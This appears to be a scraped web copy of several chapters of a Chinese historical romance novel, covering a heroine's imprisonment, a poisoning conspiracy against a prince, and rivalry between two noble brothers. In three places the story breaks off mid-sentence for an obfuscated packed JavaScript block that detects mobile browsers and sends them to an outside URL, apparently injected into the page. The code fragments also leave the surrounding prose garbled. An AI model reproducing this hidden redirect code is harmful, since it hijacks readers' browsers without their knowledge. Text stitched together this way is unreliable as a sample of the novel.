“您身后是什么人?容我猜一猜,有许多人猜到我玉春楼和宣王府有干系,那说我勾结逆贼,多半宣王府也遭了殃。赵都云自顾不暇,应顾不上我。那么您背后的,是郭知州,郭大人?” 明明言语恭恭敬敬,穆娘子却从中听出了一丝不耐,是对她先头不甚客气之态度的不满。 在这样清晰的条理中,穆娘子出了些冷汗,略微拱了拱手,低声道:“先前不该在姑娘面前拿乔,是我穆娘子的不是。如今听姑娘一席话,方知郭大人没有看错人。” 谢辛辛一皱眉,“果真是郭大人托你带话?” “他突然弄这么一遭,将我酒楼里的人都抓进大牢,究竟何意?” 穆娘子一声嗐,“唯有这一点,你可想错了。这么缺大德的事,哪是郭大人干的?是……” 穆娘子压低声音:“是赵世子。不,京中传来消息,如今他已经是云顺郡王了。” “赵都云?”谢辛辛一愣,“说我玉春楼暗行洗颈之事,赵都云他却没事?还封了郡王,凭什么?” 忍不住在心里骂了三百遍陆清和。 这怎么办的事?如何赔了夫人又折兵呢? 她忙将拆环都卸下来,帮着装饰到穆娘子的头上,“您多说些。” 穆娘子挡了挡她的手,称不必,“有这一个金簪子,让外面的人知道我收了你的东西,之后不会难为你,就成了。” 谢辛辛点点头,她也是这个意思。 原只想着既然是一个战线上的人,多给点也没什么,她不收就算了。 穆娘子接着道:“上头的意思,你这事儿,可和宣王府一点关系都没有。” “玉春楼勾结的逆贼,是北瑛王的陆二公子。云顺郡王那边言之凿凿,称你谢掌柜和陆二公子早有首尾。陆清和上回下邺州查案,从莲州绕了路,就是来玉春楼对账。” 当啷一声,是谢辛辛手里的发钗没拿稳,落在了地上。 穆娘子弯腰替她捡了起来,“郭大人常和宣王府往来,自然知道此中有些蹊跷,只是抓你的令是京中来的,郭大人也无可奈何。只得托我来问问,姑娘你有什么想法?” “他老人家让我替他带话,若你有什么需要,他皆可尽力配合。” 谢辛辛这时已将慌张的神色掩了去,却像是还没回过神来,喃喃地道:“怎么会这样?那陆清和……陆公子那边呢?” 穆娘子摇头道:“京中的事情,要传到莲州来,也得是好几日之后了。我劝姑娘这阵子多担心担心自己,费心想一想,外头是怎么回事吧。” 说着,用眼神催促她将衣物换了。 穆娘子将房门打开,对外头声色严厉道:“看什么看!” 外面的人一见穆娘子头上戴着没见过的簪子,知道穆娘子收了那新来的好处。那这人便是不好欺负的了。 顿觉没意思,各自砸着嘴回墙角坐下了。 唯有两人仍朝着这边看着,两个单薄的身形倚在门栅上,一个抿唇不语,略显担忧地望着她;另一个面色苍白,却是好整以暇的模样,盯着她笑。 穆娘子将谢辛辛往那个方向拽了拽,“你和她俩一间。” 谢辛辛抬眼望去,那隔着栅门看她的,一个是茗琅,另一个,竟是边青昙。 70.测君心 谢辛辛问穆娘子: “何时庭审?” 穆娘子意味深长地看了她一眼,“你这罪名是云京颁下来的,哪怕庭审上申冤,也没人敢驳京中的意思。” “这叫什么话……”茗琅听了,语气激动,“意思是我们连喊冤的机会也没有了?” “也不用着急。”穆娘子道。 “京中的风向,还未可知。具体事宜,我虽懂得不多,只听郭大人说过,此时三司的参军大人都不敢轻举妄动。郭大人能为姑娘争取到最多七日的时间。” 紧接着好心嘱咐了一句: “虽如此说,姑娘还是尽力自保。若暗通宗室、谋骗私财的罪名落实下来,没个二三十年可不好说。” 说完咔哒一声,牢门上的狗头锁落了下来。 谢辛辛深吸一口气,回头,和身边这两个人六目相对。 面面相觑一阵,边青昙率先笑着寒暄:“……来啦。” 谢辛辛:“‘来啦’?” 谢辛辛:“这是在大牢里打招呼的方式吗?和我们平常见面没什么不同呢。” 茗琅不禁噗嗤笑了,本来紧锁的眉头舒展开来,各推了她们两人一把:“你们已经相熟到这个程度,在大牢中都有闲工夫拌嘴了?” 边青昙点头说是啊,谢辛辛却肃了脸色。 “倒不是相熟。”谢辛辛自己寻了个角落盘坐,“她为什么要毒害郭夫人,为什么会到这大牢里来自讨苦吃,这些缘由,我可什么都不知道。” 边青昙却挨着她坐下,将她的手肘放在自己膝上。 伤口被扯到,谢辛辛痛嘶一声。 “身上有伤,面对大夫就该乖一点。”边青昙这么说着,手上的动作却放轻了。 她不知从哪里寻来些灰白的土,涂抹在谢辛辛的伤口之上。 谢辛辛不知哪来的信任,没有躲,“这是什么?” 话音未落,一阵烧灼的疼从伤处燎开,痛得她呲牙咧嘴。 茗琅一急:“掌柜的,你忍一忍,这是艾灰,对伤口有好处。牢房里头没有好药,做艾灰的艾叶还是范医师偷偷带进来给青昙的。” “范医师来过了?”谢辛辛疼得坐直了身子,却还不忘问,“你们也受伤了?” “那倒没有。”边青昙料理着她的伤处,头也不抬地应道,“谁能似你那样倔?整个女监都知道你不听话被穆娘子甩在地上了。” 谢辛辛扁了扁嘴。 边青昙沉默了一会儿,忽然对她道:“你知道吗,郭夫人如今精神衰惫,瘫痪在床,应是起不来了。” 谢辛辛没有答她,对她接下来的话有些预感。 边青昙道:“这病情,不觉得和宣王爷的一模一样么?” 谢辛辛知道她惯爱打谜语,敲了敲她:“你到这会子了,还装腔作势呐?” 把边青昙准备的话噎在了嗓子里。 边大夫一个不舒爽,又揸了一手心的艾灰抹在了谢辛辛手臂上,痛得病人倒吸一口凉气。 边青昙问:“在郭府,我给你的药丸呢?” 谢辛辛愣了愣:“那日回程路上不甚太平,我记得,那药盒子好像让宋嬷嬷收着了。” 边青昙猛地站起身来:“怎么到她手上了?那可是我特地留给你们的证据!” “证据?”谢辛辛仰面看她,眼睛清澈地像两汪白水,是真真切切地没弄明白,“什么证据?” 边青昙急了:“赵世子毒瘫了他亲父王的证据啊!那药丸,和范守一送到宣王爷前头的,是一模一样的!我费尽心思给你留了一颗,就为了你和那个姓陆的小子和赵世子斗的时候,能派上用场。” “现在你同我说,这药在宋嬷嬷手上?” 谢辛辛如雷轰顶,只能说:“我这就写信,劳穆娘子送出去,让宋嬷嬷好生保存……慢着,你说什么?” 范守一送到宣王爷前头的? 谢辛辛忽然反应过来,“你是说,宣王爷的身子,是范医师毒坏的?你一直知道?” 边青昙余气未消,不愿同她说话,可眼看着警惕的表情一寸寸爬上谢辛辛的脸,哪怕是她也有些心慌。 谢辛辛放慢了语速,一字一句,“若我没记错,据你所说,是自从你嫁给范医师之后,范医师才进宣王府做事的。” “你一直知道范守一在替赵都云下毒,是不是?” 边青昙定了定神,重新挂上笑意,淡淡道:“是。” “是,又如何?” “我非但知道,还劝他听世子的话,乖乖地控制那老王爷的病情,让他病榻缠绵,求死不能。” 字语凉薄,冷彻心扉。 边青昙承认得爽快,令谢辛辛有些难以置信。她虽性子乖戾,但一举一动,收留刘宛、送她酢浆草、替她治病,却像纯善之人。 却和她夫君一同是毒害宣王爷和郭夫人的真凶。 茗琅也受震动,失声问她:“青昙,别告诉我你至今仍在替赵都云卖命。” 边青昙哼了一声,“替他卖命?” “他要杀多少人,我都帮他杀,毒死一个宣王爷算什么?” 茗琅摇着她的肩膀,声音嘶哑:“为什么?!” “青昙,为什么?你早就知道你爹娘是被他害的?你为什么还要替他做事,替他杀人!” “呵……呵呵……” 边青昙笑了,在这样昏暗阴湿的牢房中,边青昙的眼睛像蛇一般生出狂热的光亮,“你以为我不想他死?!” 话语一转,又悠悠道,“可他不能早死。” “他一条命,偿我爹娘两条,怎能让他死得太轻易呢?” “这不仅是杀人,是弑父!不止是弑父,是谋害亲王宗师,是谋害皇帝的亲人!这得遭什么报应,这得是什么样的罪名啊,哈哈哈,哈哈……” 她咧开嘴轻笑出声,热气从她猩红的唇中化作白烟,宛若一条蛇信,挑衅地朝向上天的方向。 “是我!”她朝天大笑,“是我帮他犯下杀头的大罪!皇帝不会饶了他的!” 茗琅不可置信地看着她:“青昙,你疯了。” 边青昙满不在乎:“我是疯了,疯得不轻。但若没有几个疯子,谁能斗倒堂堂的世子殿下?” 她忽然指向谢辛辛,“你家掌柜也是个疯的,你不知道吧?上回,她让我给宣王爷下死手。” 谢辛辛方才不忍见她疯状,早闭上了眼冥想,此时睁开眼睛看她,“那只是宋嬷嬷所托……” “除了你,她还能托付谁?”边青昙指着谢辛辛笑,“除了你,谁还有这个胆子应下这种事?” “承认吧,你也疯了。你也想杀了那个人,是吗?你也想杀了你的……” 边青昙凑到她耳边,红唇轻启: “灭、门、仇、人。” 谢辛辛猛然一凛,眼风如刀,直直地落在边青昙身上。 “你说什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528773|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> …… 子时将过,北瑛王府四处还亮着灯。 云京比南方气候干燥得多,秋季更甚,可今日这天上却是浓重的云,遮得星星月亮都看不见,只有西边的天空一个模糊的金影,看着不着边际的样子。 所以侍候的人向北瑛王陆佗道着恭喜,陆佗却开心不起来,只觉得心情向这云层似的沉甸。 陆佗叹了口气:“马上又是冬天……” 尽管北方落雪,京中紫红金的宫殿配皑皑白雪很是可爱。但行军的人不爱冬天。冬天的仗难打,不仅粮食少,军粮难保障,士兵的身体也冻僵了。 在极寒的边境,兵刃也容易冻碎,没砍几刀就豁个口子,让做将军心里很讨厌。 王妃劝着他:“清和都回家了,大难不死,王爷为何不开心些?” “开心?”又是深深的一口浊气,陆佗的声儿里有气恼,“开心他假死瞒着家里?还是开心他在外头惹一身腥,回来惹得皇上不高兴?这么大的人,一点出息也没有,竟会添乱。” “行啦。”陆佗不说话的时候,王妃担忧他心情不舒畅,待陆佗说了这许多话,王妃又捂着耳朵嫌他事多了,“皇上是天子,那会和孩子计较?不就是将清和禁足在府里么?我看没什么事,世家子弟,哪个不在外赚点银子?” 陆佗不悦道:“那是别人的孩子。我北瑛王府的儿子,挣军功才是正道。更何况,这事是被宣王府捅出来的,让我老脸往哪搁?” “他小时候病成个药罐子,哪能建军功……这身子如今也……” 王妃还要劝,却被陆佗打断。 “你不用说了,这是欢知教子不当,叫她这几日也不要出门了。” 陆清和禁足,是皇上的惩戒。王爷的意思,是要连带着禁了陆清和生母四姨娘的足。 王妃脸色一变:“清和小时候,没少在我这里和景明一同教养。王爷说教子不当,意思是说我也有错了?不若连我也一起关起来。偌大的王府里,王爷您一个人走动,多自在!” 陆佗苦笑:“我哪有这个意思,你又同我怄什么气?” 王妃道:“王爷不是不知道,欢知妹妹她……王爷,您这样,清和只怕要更受罪。” 陆清和却无暇去顾及他父王此时的心境。 面圣之前,被白公公截胡,想也知道是赵都云的手笔。如今他成了云顺郡王,和宫里走的是愈发近了,连大皇子的近侍公公都支使得动,还给他罗织了这样一个罪名。 不仅限制住陆清和的计划,甚至把赵都云自己头上的脏水也泼到了他的头上。 若能把账本呈上去也就算了,可皇上铁了心的不见他,御书房又像个铁桶似的递不进东西。 这查宣王府是皇帝的主意,如今禁他的足也是皇帝的意思。君心难测,陆清和暂时未看明白。 焦虑之际,提笔写道: 谢辛辛,展信安。 又怎么也写不下去。 他的罪名和玉春楼有关,她还好吗,是否也遇到了麻烦? 要不,翻墙出去,先溜到莲州去。不能亲眼看一看她,叫他怎么放心? 于是在墙垣附近盘桓,问阿凤:“若让你一时辰内教会我爬墙的轻功,可有办法?” 阿凤正在柿子树下逗小虫,闻言挠了挠脑袋:“若是教练武奇才,没准能成。但公子你的话……” 陆清和叹气,绕回了书桌前,“罢了,不必再说了。” 71.瑛王府 日升月落,又是第二天。阿凤进屋伺候的时候,顺便说了四姨娘也被禁足了的消息。 陆清和神色不变,静静看着书,那书页却许久没动过,“这样也好,四姨娘也省心,不必到我面前怨怪了。” 阿凤是四姨娘向北瑛王讨要的,后来又送给了陆清和,所以知道四姨娘争强斗胜的性子。她本来就处处强求着陆清和,非要他比过陆景明这个嫡长子一头,但凡比不上的地方,该怎么拷打鞭策都来。 公子出府前,说是替王府、替皇帝办事去了,让四姨娘冰块一般的脸总算松动些。如今回来确实待罪之身,考虑到四姨娘的性子,阿凤甚至摸不清楚这禁足四姨娘,是王爷对四房的惩戒,还是对公子的体恤了。 阿凤想了想:“只怕四姨娘会更迁怒公子……” 陆清和唇角扬了扬,“大哥不是也在京么,届时再让大哥找个由头来见我。” 打小被四姨娘折磨得不行了,陆景明就会在四房的门口出现,张牙舞爪地说陆清和弄坏了他的木枪或是木武人,让他出来赔罪。 借这种拙劣的理由将他解救出来。 想到公子年青时候的事,阿凤嗳了一声,眉眼也缓和。 说话间,见陆清和憔悴,像是晚上没休息好的模样,不禁担忧起来: “公子,您还在担心莲州那边吗?虽说阿凤立时教不会您翻墙,但踅摸一些桌椅板凳,将公子抬出去也是可以的。” “罢了。”陆清和放下书,日光在他脸上沉静地流淌着,“我就算翻出去,又能帮她什么?本想这次回家,能将她介绍给父亲听一听,如今却连父亲也见不到。” 若是能递个消息给王爷也好。但圣令如山,多少双眼睛盯着王府呢。 其实这北瑛王府看着恢宏,却不是北瑛王的主场,个中不知有多少皇帝的眼线。真正的北瑛王府在边境,在军营,在喊声震天的热血战场。北瑛王是靠战功得到爵位的,圣上的忌惮、朝里的争斗,他不是想不到,而是不在意。 因而宫里说禁足,那必然是禁得结结实实,王爷把圣令当军令一样遵守,哪怕是阿凤要去求情,他也不会见的。 一筹莫展的时候,院外却传来爽朗的一声:“陆清和!” 从窗子里望出去,正是刚才惦记的亲哥,陆景明,此时横坐在院墙上,耷下半条腿来,笑得如其名字一般,景和澄明。 闻名遐迩的陆世子,此时既不像在军中那般肃杀,也不如在朝中那般恭谨,见了陆清和,依稀还像个十六七的少年。但脸上的沟壑分明告诉陆清和,他已经是个刀下饮血的将军郎了。 陆景明兀然出现,按道理,转机就出现了。若是拜托世子爷去在王爷面前说话求情,说什么都使得。 陆清和却微微扣了手指,书角蹙起不显眼的褶皱。 他心中犹豫,脸上笑意平静:“兄长,还不下来,生怕父亲没发现你偷偷来见我不成?” 陆景明翻身落地,极好的功夫,鞋底触及树边的泥土,没惊起一丝灰。 陆清和叹了声:“真好。” 待落了地,陆景明却犹豫了。 陆清和在心中摇了摇头。他这大哥,这些年学会了隐忍,骨子里却还是急躁的。 “顺道给你带的炉烤鸭。”陆景明朝他丢了个油纸包,“尤记得你小时候爱吃这个。虽然现在的口味或许变了,但大哥的好意你就受着吧,我也不是什么精细人儿,懒怠去想你如今爱吃什么了。……你刚才说什么好?” 陆清和说:“许久未见兄长,见兄长身体康健,功夫进益,清和觉得甚好。我自幼不才,若是有兄长的造化便好了。” 陆景明笑骂了一声:“少拿这些客套话敷衍我。多久没见,你就又变回这副文绉绉的样子。” 说罢,短暂地沉默。 风声吹动。云京的风不比南方,可以悠哉婆娑地吹动叶子。北面的树大叶子小,一到秋天更是叶落得只剩树杈。劲风一过,被树杆子割得成碎片,恍若刀剑相交那一声金属的铮鸣,冷硬凄厉。 阿凤知道内情,识趣地退了出去。 陆景明问:“你其实一直记恨我,是不是。若非府里当时要你做我的药引,你的身体……” 陆清和打断了他:“哪里的话。彼时兄长还年幼,朝中异党竟派人在六岁幼童的吃食里下毒。兄长中的毒诡烈,太医只能想出以毒攻毒的法子,却是要血亲服下相克的毒药,在以血为药引给兄长治疗。服毒的事有致命的风险,父亲王妃位高权重,岂敢让他们冒险。” 谁让四姨娘房里,恰好有一个健康的孩子呢。 四姨娘为了在王爷面前挣脸面,抱出陆清和,自请用自己孩子的性命来冒一次险。而他命大,经过这一遭竟然顺利活了下来,还多了个耐毒耐药的本事……除了身体比常人略弱质,只能练一些花架子,无法练武从军之外,没有什么落下什么病根。 故而,“……有什么好记恨的?如今你我一切都好。我能救兄长一命,不悔。” 陆景明苦笑一声。 说什么六岁幼童,陆清和当时不比他还小么?只不过是姨娘房里的庶子,权衡之下,比不过他这个世子重要罢了。他从那时起就对不起陆清和,陆景明心里和明镜似的。 陆景明道:“是我的错。我和你从小长大,怎么不知道你的心气?让你无法建功立业,哥哥知道你心里不好受。” 他知道他的弟弟有野心,因为他自己也有。可惜他如今的境遇也并不太好。从军多年,空有军功,没有军衔。因而要为自己挣一份命,欠陆清和的,只有下辈子再还。 陆清和一笑置之:“有空说那些,不如帮我个忙。” 陆景明郑重道:“你说,你开金口,我义不容辞。” “我获罪的原因,想必兄长也知道了……” “这个我帮不了你。”陆景明果断道,“你聪明,应当也已经知道圣上降罪,是云顺郡王使的劲。他如今风头正盛,我抵不过他。” 陆清和温和道:“我没要说这个。兄长所言,我自然知道。圣上明知我手中有不利于他的证据,却仍偏信于他,禁足于我,想必也有敲打父王的考量。兄长,你这几年没能高升,各中原因,想必你也清楚。” 陆景明神色顿时寂然下来。 这话没错。他们北瑛王府要查宣王府承办的矿场,其中多少有皇帝说不清道不明的支持。而皇帝忌惮宣王府,难道就不忌惮手握兵权的北瑛王府?北瑛王连年功高几乎盖主,难道能让他的儿子继续积累这个功勋和名声? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552594|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两相之下,若宣王府那头有能压制北瑛王府的故事,皇帝自然也乐意一听。 陆清和见他彷徨,拍了拍他的肩:“只是莲州那个玉春楼的掌柜娘子,是我放在心上的人,求兄长替我保她一命,此后要我为兄长做什么,都不在话下。” 陆景明震惊他开窍之余,听到后一句话,心中更是一动。 踌躇再三,陆景明道:“若我要你,将收集的宣王府谋逆的证据,悉数交予我呢?” 见陆清和嘴角明显捺下来,忙补充道:“哥哥是见你如今陷在家中,承递不上,想替你周全么。你觉得不便,我就不提也罢。” 陆清和这才笑了,和他唠几句闲话: “你这样事事顾念我,我才会觉得自己像个不中用的人。过去的事,就过去了。兄长在军营中,有所不知,我因那事之故,从小浸透在药汤里,如今几乎百毒不侵了,皇土上能找到的毒药都伤不了我。前些时候有小娘子给我下药,我还能维持神志。” 虽然下的是媚药。但他不会说这些。谢辛辛对他下媚药,如今在他眼里,也成了他们初见之时的情趣。 “……除非是蚀心散这等东洋传来的杂毒怪药,一口气吞下半两,那才是神仙难救。” 话落到陆景明的耳朵里,他眼中忽地变幻起来。 陆清和噙了一口茶,淡淡地望进去,看到自家兄长眼里的复杂,有无措,有惶然的失望,也有一瞬间地轻懈,仿佛卸下来一桩重担。 陆景明稳了稳心神,“我倒真不知道有这种事……那让你挂怀小娘子是怎么样的,年岁几何,外貌如何?南方的女子,应是温柔水灵吧?和你相配得很,牵绊住你,实属正常。我抽个时间就去找她。” 他的好哥哥,虽然关心晚来了些,终于还是问到了。只是这问话陆清和听着笑出了声,“温柔啊……可持剑指人,敢怒骂王权,哪里有麻烦,就愈要往哪里钻,身上背着千斤的担子,选了一条尸横遍野的路。和温柔不怎么相干,但着实厉害。” 没见过用厉害形容心上人的。可他笑着,笑音却缱绻动人,一时让陆景明也晃了神。 到底是亲人,如若可以,他将弟妹接进来,他们一家人共享天伦之乐,多么和谐美好。 可陆清和并不让他畅想太久,不知有几分刻意地又提到:“我说给我下药的小娘子,也就是她。兄长猜猜为什么?因为她是云顺郡王的未婚妻……不,如今被废了,却和宣王府藕断丝连。郡王爷没跟你提起过吗?” 秋冬相交际的风乍然吹过,门口树丫坚持了许久,终于咔嚓崩断了。 陆景明出了些冷汗,下意识按了按腰间。 那腰上常年挂着军中制式的佩刀,只是进了家宅后,不便再随身佩戴着,唬人得紧。 但陆景明仍然保留着这个习惯,起了杀心的时候,便按一按侧腰。 这弟弟是试探他?还是随口唠的家常?陆景明不敢赌,定定地望着眼前人。茶烟缭绕,遮住了陆清和的眉眼,叫他看不清楚。 他这才发现,多年不见,不光自己滋生出了不该的心思,他的弟弟也长大了。 陆清和不露声色,温声道:“兄长,你帮我救她,我再考虑一下那些宣王府的罪证,该不该交给你。” 72.不可追 翻过王府的院墙,对陆景明而言好比翻过一个三寸门槛,论不上什么难度。但翻出陆二公子的院子时,陆景明还是险些没有站稳。 但他很快挺直脊背,匆匆地走了。 箭在弦上,不得不发。弟弟既然发现了自己与赵都云走的近,他若装傻弄愚就罢了,如今却用言语来敲打他,实在不该。 他没想到陆清和这样敏锐。但敏锐又如何?智者自伤,到最后还不是自作聪明,将自己的软肋说了出来? 回到军中,传了自己贴身的护卫,“去找一种叫蚀心散的毒,东洋货。先自己找,若找不到再问新郡王那儿有没有。” 护卫应下了,又有些不解,“少将军,有什么需要,在下一刀就得,我们北瑛王的军,何时需要用毒药这等手段?” 所以哪怕是自己贴身的兵,心里也只认同自己是北瑛王的人。陆景明嘴角勉强扯了扯,“东洋,是本朝大患。” 护卫顿悟,叹服道,“所以少将军提前研究东洋人的阴险伎俩。原来如此,不愧是少将军,目光长远,未雨绸缪!” 待要去做事,又被陆景明叫住。 陆景明问:“我这几年,私下里与你们同吃同睡,战场上同你抵背杀敌,我问你,若是有一日,我让你们打的仗,父王不让,你待如何?” 护卫想了想,王爷和世子,能有多大的分歧?军事战略上有些不同的见解实属正常,便道:“我们是少将军的兵,自然是听少将军的。” 陆景明满意地眯了眯眼,“好小子,记着你这句话。去做事吧。” 北瑛王府里,有家仆低眉顺目地扫地,目睹了陆景明从离开,才施然绕进了陆清和的院子。 陆清和眼角瞄到他,忙起身拱手笑道:“陛下这禁足令下完,倒让我房里比寻常还热闹些。” 家仆开口,声音恭谨,声线却细得像女人:“陆二公子说笑了。大皇子殿下派人来,义正言辞。陛下是明君,怎可充耳不闻?只好委屈一阵陆二公子了。陛下的意思是,此事不急一时。” 陆清和笑道:“为圣上分忧,怎会委屈?公公言重了。” 天光明亮,候鸟排成大字长鸣而过。陆清和抬头看着冷到发白的天空,悠悠道:“天儿也转凉了,陛下是想拖到冬天?” 公公呵了呵腰:“陛下想要削藩,正缺一个正当的理由。陆二公子是聪明人,无需奴婢多言了罢。” 陆清和道:“天寒下来,云京城背靠十常山,易守难攻。若有叛军从南方来,在冰天雪地里也难为。身为臣子,自然该明白陛下的考量。” “只是,劳烦公公替我转禀陛下一句,这京中能想到的,莲州那边自然也能想到。还是早作准备的好。” …… 转眼就是七日后,莲州狱里,穆娘子每每去试探谢辛辛,都等不到什么示意。只有她进狱第二日问她要了笔墨纸砚,和茗琅两个摊开几本册子,兔毫小笔从白昼写到黑夜,不曾停歇。 终于有一次穆娘子忍不住问:“这是在写求援的信吗?为何只见你们一直在写,却不见送出去?” 写字的二人写得昏天黑地,顾不上答话,倒是边青昙应了一声:“不是信,是在算账呢。玉春楼的账。” 穆娘子哎哟一声,有些不悦,“这出不出的去还不知道呢,还有闲工夫算生意账?郭大人可就指望着姑娘……” 牢门内传来一声极轻的嗤笑。穆娘子才意识到说错了话。 谢辛辛抬头看她一眼:“我沦落到这里,焉知没有郭大人的手笔?穆娘子,仔细别一时冲动说漏了嘴。你且去当你的牢头吧,转告郭大人,这账本是给郭大人的,他若有胆子,就用得上。” 穆娘子被她说的一愣,不知想了些什么,终还是走开了。 穆娘子走了,边青昙又是一个人无聊着,踢了踢地上的灰,“别算了。眼睛算坏了我可治不好。” 无人回应。自从上次她说出自己做了什么后,谢辛辛一直没再和她说过话。 边青昙有些不知所措:“你生我的气?为什么?你和我一样,也是父母被害的孤儿,难道不懂我要报仇的心?” 账本上兀然落下一个墨点,谢辛辛终于忍不住,冷冷道:“我要报仇,也不会用助仇人害人的方式。” 边青昙笑了声:“你就算最开始没有这个心思,事到如今,想用你玉春楼的账本掀翻宣王府,和我有什么区别?不也是先助他揽够了财……” “你……”谢辛辛气急,泫然向她。 曾经为宣王府做事是她心中的一棵刺,如今边青昙冷不防将她拔了出来,痛得她又恨又悔。 边青昙禁不住她这样的眼神,软和了面色,不再针锋相对,“那你要我做什么,才肯原谅我?” 谢辛辛本想恶狠狠地说不必,想了想,却急中生智,脱口道: “让范守一立刻动手。家中报丧,赵都云定然要回莲州。” 边青昙想也未想,一口应了下来。 正说着,穆娘子却又进来了,将一封信隔着门丢进牢房里: “玉春楼有伙计送来,说是你的信。” 谢辛辛有些困惑。 她这几日,全想着既然陆清和不成事,那自己凭自己再写一本账本出来,也算是自己和赵都云谈判的筹码。因而昏天黑地地赶时间,凭自己的记忆算账,生怕还没写完账本,就得到什么要流放的消息。 从没和谁通过信啊。再说她一个孤女,有谁会想到给她写信? 拿到信封,上面熟悉的字迹却让她心头一跳。 她见过这个字,飞逸隽永,在邺州的别院里,这人就是用这样的字迹为她起稿了送往宣王府的密信。 她的脑子已经好几日没有停歇过,一刻不停地想着赵都云的盘算和自救的计划,可才见到这个字,连日疲惫忽然如潮水一般向她涌来。忽然有酸酸的委屈涌上眼睛。 她吸了吸鼻子,颤抖着手打开。 信中说他面圣出了意外,如今困在一方小院里,字里行间却没有自艾。问起她怎么样,玉春楼可还安全,虽然自己脱不开身,已经想了办法请人去帮她。 看到最后,见他惆怅写道,只可惜连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579885|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父亲也见不得,否则可以早早地提出他准备成婚之事,让家中预备起来。 她皱着眉看完最后一句话,嘴角微扬了下,随后是复杂的神情。 随手撕下半张纸回信,内容简短生分: 我家世既与北瑛王府无关,你我实再无成婚的必要。去日不可止,来日犹可喜。祝好,不必再来信。 晚膳时分范守一来送饭,最开始给边青昙单独预备的一层食盒,如今变为了三层。 茗琅不多客气,接过去还夸赞,“姐夫辛苦了,一个会做饭的男人能给女人带来福气。” 虽说她年轻时与边青昙疏远,正是以为边青昙抢走了她接近范守一的任务。但如今看来各人有各人的造化,茗琅进了玉春楼,也自觉称得上是好境遇。因此过去的事早就揭过。 范守一对这种夸赞,很是惶恐,讷讷地退到一边,直到边青昙上前和他讲了两句话,他惊骇问了声决定了吗,边青昙看了一眼谢辛辛,点点头。 次日,便传来了宣王爷薨逝的消息。 亲王薨毙乃是大事,从莲州一路轰动到云京城,可偌大的宣王府连个执掌丧仪的男人都没有,唯一的男丁还在云京,快马加鞭也得二日后才能赶回。宣王妃虽悲痛,但也扛起了一个家。宣王府之大小决策,忽然就落到了王妃的头上。 可莲州一个小城,死了个王爷,除了三十日内不得歌舞,其余对百姓的日常生活似乎没什么影响。影响最大的,还是身处云京的赵都云。 才当个了半个月的云顺郡王,朝廷的圣旨都拟到一半了,家父忽然没了。皇上转眼变了话头,在这垂拱殿上深表痛心,那么丧仪喜事总不好一起办吧?云顺郡王的封爵仪式只好暂延。 这一延,赵都云再想建自己的府邸,可就不知要拖到什么时候。偏偏他又有许多不便张扬的秘密,最好能在一座自己的府中,不露声色地进行他的大计。 得到消息的赵都云,癫狂有加,不知摔了多少酒坛子,摔得京中盛传他是个大孝子,因亲父薨逝悲伤过度,难过得疯了。焉知他实际上是气得牙痒? “这算得好好的,范守一怎么做的事?”赵都云自言自语,“……老东西病得起不来,我替他充宣王府的门面。等我有了郡王府,再从自己的封地起势。如今这一拖是不成了……” 侍卫见他疯,只敢远远地劝,“郡王爷,您节哀。今日快马加鞭,还能赶回去奠仪。” 赵都云咬牙切齿:“自然,自然要快马加鞭。兵马都尚在莲州……既然老东西死了,我便不等了,最迟立冬,便要揭竿!” 待他告假一路紧赶回了莲州,第一程却没有去灵堂,而是去了范家的医馆。仁宁堂的医师伙计见赵都云一身素服,来势汹汹,一齐地先跪下再说。 赵都云含着怒意:“范守一呢?” 伙计忙答:“近日范医师都不坐馆诊病,不过……不过范医师说,若殿下您到访,就替他向您传句话。” 赵都云靴子停在这人的面前:“说。” 伙计道:“范医师说,玉春楼的谢小掌柜等着见您。” 73.赴杀机 想到赵都云或许会亲自前来,谢辛辛先拜托穆娘子将边青昙带走,起码不要让赵都云见着她们共处一室。 她这些日子,身体远离了生意,脑袋却是一刻不停歇。在这大牢终于灵光一现,忽然想到了佘半仙所说“牢狱之灾”之事。 如今不正是应验了? 佘半仙临终前,分明是想说这灾祸与宣王府有关,他一定知道内情,却被赵都云的人灭了口。 可他最早提起牢狱之灾几个字,是在八月初,她初次被郭知州找上之事。如今眼看就要冬天,他这个假道士,是怎么在八月初便算准此事的? 她不信卜算神通,若要论,便只有一种可能。就是她如今入狱,也早在赵都云的计划之中。 思及此,冷不防起了一身鸡皮疙瘩。原来自己为报仇苦苦沉浮,最终竟然全在赵都云的圈套里。无缘无故的,赵都云为什么早早就有让自己进大狱的打算? 这件事想不通,但另一件事却依稀有所眉目。佘半仙既然是宣王府的人,甚至看透这种隐秘的内情,自作聪明地说了出来,那么郭知州提供给自己的条件,佘半仙定然会转告给赵都云。 